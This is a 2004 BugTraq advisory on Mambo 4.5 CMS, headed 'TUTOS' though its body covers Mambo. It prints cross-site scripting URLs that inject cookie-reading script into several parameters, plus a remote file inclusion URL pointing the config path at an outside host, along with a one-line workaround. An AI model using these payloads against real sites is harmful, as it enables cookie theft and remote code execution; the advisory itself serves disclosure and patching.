BugTraq
Vulnerabilities in TUTOS Sep 18 2004 09:01PM
Joxean Koret (joxeankoret yahoo es)


------------------------------------------------------------------------
---

Two Vulnerabilities in Mambo

------------------------------------------------------------------------
---

Author: Jose Antonio Coret (Joxean Koret)

Date: 2004

Location: Basque Country

------------------------------------------------------------------------
---

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mambo 4.5 (1.0.9)

Mambo is one of the most powerful Open

Source Content Management Systems on

the planet. It is used all over the world for

everything from simple websites

to complex corporate applications. Mambo is

easy to install, simple to manage,

and reliable.

Web : http://mamboserver.com/

------------------------------------------------------------------------
---

Vulnerabilities:

~~~~~~~~~~~~~~~~

A. Cross Site Scripting

A1. The first vulnerability that I found is in the

script index.php. The following

parameters are vulnerables : Itemid, mosmsg

and limit.

Examples :

http://<site-with-mambo>/index.php?option=com_content&task=view&id=18&It
emid=39"><script>alert(document.cookie)</script>&mosmsg=<h1>
Hi,

%20I%20am%20an%20XSS%

20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&It
emid=2&limit=1"><script>alert(document.cookie)</script>&limi
tstart=1

B. Remote Code Execution

B1. The simple hack made to the Cache_library

makes mambo vulnerable to a

remote arbitrary code execution attacks.

Example :

http://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_abso
lute_path=http://fucking.site.com/

Workaround:

~~~~~~~~~~~

The file

mambo/includes/Cache/Lite/Function.php looks

like :

<?php

/**

* This class extends Cache_Lite and can be

used to cache the result and output of

functions/methods

*

* This class is completly inspired from

Sebastian Bergmann's

* PEAR/Cache_Function class. This is only an

adaptation to

* Cache_Lite

*

* There are some examples in the

'docs/examples' file

* Technical choices are described in the

'docs/technical' file

*

* @package Cache_Lite

* @version $Id: Function.php,v 1.1 2004/07/21

13:38:58 rcastley Exp $

* @author Sebastian BERGMANN

<sb (at) sebastian-bergmann (dot) de [email concealed]>

* @author Fabien MARTY <fab (at) php (dot) net [email concealed]>

*/

require_once($mosConfig_absolute_path .

'/includes/Cache/Lite.php');

class Cache_Lite_Function extends Cache_Lite

...

Simply add the following 2 lines before the

require_once statement :

/** ensure this file is being included by a parent

file */

defined( '_VALID_MOS' ) or die( 'Direct Access to

this location is not allowed.' );

The fix:

~~~~~~~~

The bugs are fixed in the CVS version.

Disclaimer:

~~~~~~~~~~~

The information in this advisory and any of its

demonstrations is provided

"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages

caused as a result of

using the information or demonstrations

provided in any part of this

advisory.

------------------------------------------------------------------------
---

Contact:

~~~~~~~~

Joxean Koret at

joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus